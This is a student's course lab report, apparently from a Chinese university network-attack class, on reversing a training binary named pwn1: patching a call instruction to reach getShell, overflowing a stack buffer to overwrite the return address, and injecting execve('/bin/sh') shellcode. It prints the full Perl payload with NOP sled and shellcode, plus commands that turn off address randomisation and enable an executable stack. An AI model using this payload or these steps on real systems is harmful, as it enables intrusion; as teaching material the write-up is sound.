2018-2019-2 20165216《网络对抗技术》Exp1 PC平台逆向破解(5)M

2018-2019-2 20165216《网络对抗技术》Exp1 PC平台逆向破解(5)M

实验要求

1:掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码

2: 掌握反汇编与十六进制编程器

3:能正确修改机器指令改变程序执行流程

4:能正确构造payload进行bof攻击

实验内容

  • 手动修改可执行文件,改变程序执行流程,直接跳转到getShell函数
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,出发getShell
  • 注入一个自己制作的shellcode并运行这段shellcode.

预备知识

  • 熟悉Linux基本操作

  • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。

  • 理解Bof的原理

  • 能看懂汇编、机器指令、EIP、指令地址

  • 会使用gdb,vi

实验步骤

1:逆向及Bof基础实践


本次实践对象为一pwn1的linux可执行文件,程序正常流程不执行getshell函数,但会执行一个foo函数,由于代码中包含了一个getshell,所以我们这里可以使用三种方式实现我们的目标

  • 运行原本不可访问的代码片段

  • 强行修改程序执行流

  • 以及注入运行任意代码


2直接修改程序机器指令,改变程序执行流程

2.1知识要求

  • 掌握Call指令的机器码,了解EIP寄存器的功能,了解指令跳转的偏移计算

  • 学习反汇编

2.2实现过程

1:下载目标文件pwn1,将其放入共享文件夹中

2:进入kali终端,使用 cp 指令复制pwn1 分别命名为pwn2、pwn3

3:使用指令 objdump -d pwn1 对pwn1进行反汇编指令,查看对应的代码

4:了解地址信息

5:vim pwn1编辑内容

6:使用 :%!xxd将显示模式切换为16进制模式

7:修改地址跳转

8:使用 :%!xxd -r 转为16进制原格式

9:wq保存退出

10:再使用 objdump -d pwn1 反汇编检查call指令跳转

11:./pwn1 运行代码。

2.3小结

  • Linux系统中 call 8048491 汇编代码在此处对应的机器指令为 e8 d7ffffff

  • e8 为跳转的意思,在刚执行这条语句时,EIP存储的值为下调指令的地址,即 80484ba,d7ffffff是小端显示的 -41的补码,0x80484ba-41=8048491

  • 要实现执行getshell,我们需要使计算结果为804847d

  • 0x80484ba-0x804847d=0x000003d,所以我们要知道十进制-61的补码为ffffffc3

  • 修改对应位置的机器码即可

3通过构造输入参数,造成BOF攻击,改变程序执行流

3.1知识要求

  • 堆栈结构的理解,明白返回地址是如何被覆盖

  • 掌握如何获取返回地址的。

3.2实现过程

1:使用objdump -d pwn2查看地址信息

2:找到foo函数内地址为0x804849a读取字符串的位置

3:分析字符串所留空间

4: lea -0x1c(%ebp),%eax,我们知道栈顶为esp,栈顶为ebp,且栈顶为高地址,-代表为栈的空间扩大,留给了其0x1c+4(ebp的大小)=32字节

5:确定超过32字节数值覆盖返回地址的情况

6:gdb pwn2进行调试

7:r直接运行,并输入随意32字节+123456789

8:info r 查看寄存器所存数值

9:观察eip(下条指令地址)

10:在32字节后使用16进行/x..填写跳转地址

11:使用Perl语言构造重定向文件,在这里我们命名为input

12:使用管道符“|”将input作为pwn1的输入

13:执行,查看结果

3.3小结

  • Perl是一门解释性语言,不需要预编译,可以在命令行上直接使用重定向“>“将perl生成的字符串存储到文件input中

  • 在32字节后使用12345678是使数字不同而可以明显的观察到到底是哪几位覆盖到了eip当中。

  • 1、2、3、4...的ASCII值为别为0x34 0x35 0x36.....

4注入Shellcode并执行

4.1知识要求

  • shellcode就是一段机器指令(code),在实际应用中,凡是用来注入的机器指令段都被通称shellcode

  • 掌握二种基本buf攻击中的一种

    1:retaddr+nop+shellcode

    2:nop+shellcode+retaddr

  • 获取shellcode命令:

perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

4.2准备工作

1:关闭堆栈保护

2:关闭堆栈执行保

3:关闭地址随机化

4:x32环境

5:Linux时间环境

具体指令

1:ap-get install execstack /安装execstack命令/

2:execstack -s pwn3 / 设置堆栈可执行/

3:execstack -q pwn3 /查询文件的堆栈是否可执行/

4:echo "0" > /proc/sys/kernel/randomize_va_space /关闭地址随机化/

5:more /proc/sys/kernel/randomize_va_space /查询是否关闭地址随机化/

4.3实现过程

1:构造重定位文件,输入指令 perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

2:注入此段攻击:(cat input_shellcode;cat) | ./pwn3

3:打开另一个终端,使用ps -ef | grep pwn3查看相应进程号

4:gdb进行调试

5:使用命令 atach + 进程号调试

6:使用 disassemble foo命令反汇编,设置断点查看注入buf的内存地址。

7: break *0x080484ae设置断点,并输入 c 命令继续执行

8:在输入c回车一下后在另外一个终端按次回车,再返回使用 info r esp查看地址。

9:使用命令 x/16x 查看内存内容,当我们找到了 0x01020304,就知道我们的shellcode就在后面,所以我们的Shellcode就是这个地址+4

10:修改重定位文件

11:执行

4.4小结

1 :这里采用的是nop+shellcode+retaddr的结构

2:nop即使为了填充,也可以作为“滑行区”,当返回地址落到任何一个nop上,都会滑行道shellcode的代码

遇到的问题

1: File format not recognized

在修改 d7为c3之后选择了,先:wq,再%!xxd -r,随后改为 先%!xxd -r 再:wq就解决了

2:Cannot connect to non-local host kali

在做实验前没有在设置处修改名称为学号,在终端输入 hostname 20165216,临时名字与主机不符出现的提示,在设置处设置之后,再做一遍就解决了。

什么是漏洞?漏洞有什么危害?

漏洞是其设计成品不符合设计者的预想而需要解决的问题,漏洞使其不能完成设计的功能,更甚完成一些恶意功能,造成信息泄露、篡改等非法操作

实验收获与体会

本次实验让我学会了call指令是具体怎样实现其功能的,还对堆栈有了更深的理解。缓冲区溢出防范的最基本设计,注入代码的二种方式。如何查看地址内容,perl语言的重定位文件的生成,不断实践才能更深刻的理解。

posted @ 2019-03-17 11:50  许愿神王  阅读(294)  评论(0编辑  收藏  举报